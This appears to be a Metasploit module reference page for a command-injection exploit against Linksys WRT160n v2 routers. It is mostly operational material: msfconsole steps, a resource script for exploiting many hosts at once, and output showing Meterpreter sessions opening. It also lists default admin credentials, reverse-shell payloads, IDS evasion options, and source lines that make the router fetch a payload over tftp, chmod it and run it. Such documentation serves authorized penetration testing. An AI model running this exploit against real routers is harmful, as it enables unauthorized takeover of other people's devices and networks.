Linksys WRT160nv2 apply.cgi Remote Command Injection - Metasploit
This page contains detailed information about how to use the exploit/linux/http/linksys_wrt160nv2_apply_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Linksys WRT160nv2 apply.cgi Remote Command Injection
Module: exploit/linux/http/linksys_wrt160nv2_apply_exec
Source code: modules/exploits/linux/http/linksys_wrt160nv2_apply_exec.rb
Disclosure date: 2013-02-11
Last modification time: 2021-01-28 10:35:25 +0000
Supported architecture(s): -
Supported platform(s): Linux, Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -
Some Linksys Routers are vulnerable to an authenticated OS command injection on their web interface where default credentials are admin/admin or admin/password. Since it is a blind OS command injection vulnerability, there is no output for the executed command when using the cmd generic payload. This module has been tested on a Linksys WRT160n version 2 - firmware version v2.0.03. A ping command against a controlled system could be used for testing purposes. The exploit uses the tftp client from the device to stage to native payloads from the command injection.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using linksys_wrt160nv2_apply_exec against a single host
Normally, you can use exploit/linux/http/linksys_wrt160nv2_apply_exec this way:
msf > use exploit/linux/http/linksys_wrt160nv2_apply_exec
msf exploit(linksys_wrt160nv2_apply_exec) > show targets
... a list of targets ...
msf exploit(linksys_wrt160nv2_apply_exec) > set TARGET target-id
msf exploit(linksys_wrt160nv2_apply_exec) > show options
... show and set options ...
msf exploit(linksys_wrt160nv2_apply_exec) > exploit
Using linksys_wrt160nv2_apply_exec against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your linksys_wrt160nv2_apply_exec will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/http/linksys_wrt160nv2_apply_exec")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
LHOST: The listen IP address from where the victim downloads the MIPS payload
Go back to menu.
Msfconsole Usage
Here is how the linux/http/linksys_wrt160nv2_apply_exec exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/linksys_wrt160nv2_apply_exec
[*] No payload configured, defaulting to linux/mipsle/meterpreter/reverse_tcp
msf6 exploit(linux/http/linksys_wrt160nv2_apply_exec) > show info
Name: Linksys WRT160nv2 apply.cgi Remote Command Injection
Module: exploit/linux/http/linksys_wrt160nv2_apply_exec
Platform: Linux, Unix
Arch:
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2013-02-11
Provided by:
Michael Messner <[email protected]>
juan vazquez <[email protected]>
Available targets:
Id Name
-- ----
0 CMD
1 Linux mipsel Payload
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DELAY 10 yes Time that the HTTP Server will wait for the ELF payload request
DOWNFILE no Filename to download, (default: random)
HttpPassword admin yes The password for the specified username
HttpUsername admin yes The username to authenticate as
LHOST 192.168.204.3 yes The listen IP address from where the victim downloads the MIPS payload
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload information:
Description:
Some Linksys Routers are vulnerable to an authenticated OS command
injection on their web interface where default credentials are
admin/admin or admin/password. Since it is a blind OS command
injection vulnerability, there is no output for the executed command
when using the cmd generic payload. This module has been tested on a
Linksys WRT160n version 2 - firmware version v2.0.03. A ping command
against a controlled system could be used for testing purposes. The
exploit uses the tftp client from the device to stage to native
payloads from the command injection.
References:
http://www.securityfocus.com/bid/57887
https://www.exploit-db.com/exploits/24478
OSVDB (90093)
http://www.s3cur1ty.de/m1adv2013-012
Module Options
This is a complete list of options available in the linux/http/linksys_wrt160nv2_apply_exec exploit:
msf6 exploit(linux/http/linksys_wrt160nv2_apply_exec) > show options
Module options (exploit/linux/http/linksys_wrt160nv2_apply_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
DELAY 10 yes Time that the HTTP Server will wait for the ELF payload request
DOWNFILE no Filename to download, (default: random)
HttpPassword admin yes The password for the specified username
HttpUsername admin yes The username to authenticate as
LHOST 192.168.204.3 yes The listen IP address from where the victim downloads the MIPS payload
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (linux/mipsle/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Linux mipsel Payload
Advanced Options
Here is a complete list of advanced options supported by the linux/http/linksys_wrt160nv2_apply_exec exploit:
msf6 exploit(linux/http/linksys_wrt160nv2_apply_exec) > show advanced
Module advanced options (exploit/linux/http/linksys_wrt160nv2_apply_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (linux/mipsle/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/linksys_wrt160nv2_apply_exec module can exploit:
msf6 exploit(linux/http/linksys_wrt160nv2_apply_exec) > show targets
Exploit targets:
Id Name
-- ----
0 CMD
1 Linux mipsel Payload
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/linksys_wrt160nv2_apply_exec exploit:
msf6 exploit(linux/http/linksys_wrt160nv2_apply_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/linux/mipsle/exec normal No Linux Execute Command
4 payload/linux/mipsle/meterpreter/reverse_tcp normal No Linux Meterpreter, Reverse TCP Stager
5 payload/linux/mipsle/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
6 payload/linux/mipsle/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
7 payload/linux/mipsle/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
8 payload/linux/mipsle/reboot normal No Linux Reboot
9 payload/linux/mipsle/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
10 payload/linux/mipsle/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
11 payload/linux/mipsle/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/linksys_wrt160nv2_apply_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/linksys_wrt160nv2_apply_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
- <RHOST>:<RPORT> - Failed to connect to the web server
- <RHOST>:<RPORT> - No successful login possible with <USER>/<PASS>
- <RHOST>:<RPORT> - No successful login possible with <USER>/<PASS>
- <RHOST>:<RPORT> - Failed to connect to the web server
- <RHOST>:<RPORT> - Only the cmd/generic payload is compatible
- <RHOST>:<RPORT> - Unable to execute payload
- <RHOST>:<RPORT> - Unable to deploy payload
- <RHOST>:<RPORT> - Unable to deploy payload
- <RHOST>:<RPORT> - Unable to deploy payload
- <RHOST>:<RPORT> - Target didn't request request the ELF payload -- Maybe it cant connect back to us?
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<RHOST>:<RPORT> - Failed to connect to the web server
Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Failed to connect to the web server" error message:
90: "traceroute_ip" => ""
91: }
92: })
93: return res
94: rescue ::Rex::ConnectionError
95: vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
96: return nil
97: end
98: end
99:
100: def exploit
<RHOST>:<RPORT> - No successful login possible with <USER>/<PASS>
Here is a relevant code snippet related to the "<RHOST>:<RPORT> - No successful login possible with <USER>/<PASS>" error message:
113: 'uri' => uri,
114: 'method' => 'GET',
115: 'authorization' => basic_auth(user,pass)
116: })
117: if res.nil? or res.code == 404
118: fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
119: end
120: if [200, 301, 302].include?(res.code)
121: print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
122: else
123: fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
<RHOST>:<RPORT> - No successful login possible with <USER>/<PASS>
Here is a relevant code snippet related to the "<RHOST>:<RPORT> - No successful login possible with <USER>/<PASS>" error message:
118: fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
119: end
120: if [200, 301, 302].include?(res.code)
121: print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
122: else
123: fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
124: end
125: rescue ::Rex::ConnectionError
126: fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
127: end
128:
<RHOST>:<RPORT> - Failed to connect to the web server
Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Failed to connect to the web server" error message:
121: print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
122: else
123: fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
124: end
125: rescue ::Rex::ConnectionError
126: fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
127: end
128:
129: if target.name =~ /CMD/
130: if not (datastore['CMD'])
131: fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
<RHOST>:<RPORT> - Only the cmd/generic payload is compatible
Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Only the cmd/generic payload is compatible" error message:
126: fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
127: end
128:
129: if target.name =~ /CMD/
130: if not (datastore['CMD'])
131: fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
132: end
133: cmd = payload.encoded
134: res = request(cmd,user,pass,uri)
135: if (!res)
136: fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
<RHOST>:<RPORT> - Unable to execute payload
Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Unable to execute payload" error message:
131: fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
132: end
133: cmd = payload.encoded
134: res = request(cmd,user,pass,uri)
135: if (!res)
136: fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
137: else
138: print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
139: end
140: return
141: end
<RHOST>:<RPORT> - Unable to deploy payload
Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Unable to deploy payload" error message:
160:
161: #not working if we send all command together -> lets take three requests
162: cmd = "tftp -l /tmp/#{filename} -r #{downfile} -g #{lhost}"
163: res = request(cmd,user,pass,uri)
164: if (!res)
165: fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
166: end
167:
168: # wait for payload download
169: if (datastore['DOWNHOST'])
170: print_status("#{rhost}:#{rport} - Giving #{datastore['DELAY']} seconds to the Linksys device to download the payload")
<RHOST>:<RPORT> - Unable to deploy payload
Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Unable to deploy payload" error message:
180: #
181: cmd = "chmod 777 /tmp/#{filename}"
182: print_status("#{rhost}:#{rport} - Asking the Linksys device to chmod #{downfile}")
183: res = request(cmd,user,pass,uri)
184: if (!res)
185: fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
186: end
187:
188: #
189: # execute
190: #
<RHOST>:<RPORT> - Unable to deploy payload
Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Unable to deploy payload" error message:
190: #
191: cmd = "/tmp/#{filename}"
192: print_status("#{rhost}:#{rport} - Asking the Linksys device to execute #{downfile}")
193: res = request(cmd,user,pass,uri)
194: if (!res)
195: fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
196: end
197:
198: end
199:
200: # wait for the data to be sent
<RHOST>:<RPORT> - Target didn't request request the ELF payload -- Maybe it cant connect back to us?
Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Target didn't request request the ELF payload -- Maybe it cant connect back to us?" error message:
204: waited = 0
205: while (not @tftp.files.length == 0)
206: select(nil, nil, nil, 1)
207: waited += 1
208: if (waited > datastore['DELAY'])
209: @tftp.stop
210: fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
211: end
212: end
213: end
214: end
Go back to menu.
Related Pull Requests
- #14696 Merged Pull Request: Zeitwerk rex folder
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8888 Merged Pull Request: spelling/grammar fixes part 1
- #8336 Merged Pull Request: Specify lhost by interface name
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6921 Merged Pull Request: Fix #4885, Support basic and form auth at the same time
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #2525 Merged Pull Request: Change module boilerplate
- #2417 Merged Pull Request: Prefer Ruby style for single word collections
- #2229 Merged Pull Request: Add fail_with() to all module types, move Failure constants to Msf::Module
- #1801 Merged Pull Request: linksys wrt160n tftp download module
References
- CVE: Not available
- BID-57887
- EDB-24478
- OSVDB (90093)
- http://www.s3cur1ty.de/m1adv2013-012
See Also
Check also the following modules related to this module:
- exploit/linux/http/linksys_apply_cgi
- exploit/linux/http/linksys_e1500_apply_exec
- exploit/linux/http/linksys_themoon_exec
- exploit/linux/http/linksys_wrt110_cmd_exec
- exploit/linux/http/linksys_wrt54gl_apply_exec
- exploit/linux/http/linksys_wvbr0_user_agent_exec_noauth
- auxiliary/admin/http/linksys_e1500_e2500_exec
- auxiliary/admin/http/linksys_tmunblock_admin_reset_bof
- auxiliary/admin/http/linksys_wrt54gl_exec
- auxiliary/scanner/http/linksys_e1500_traversal
- auxiliary/analyze/apply_pot
Authors
- Michael Messner <devnull[at]s3cur1ty.de>
- juan vazquez
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.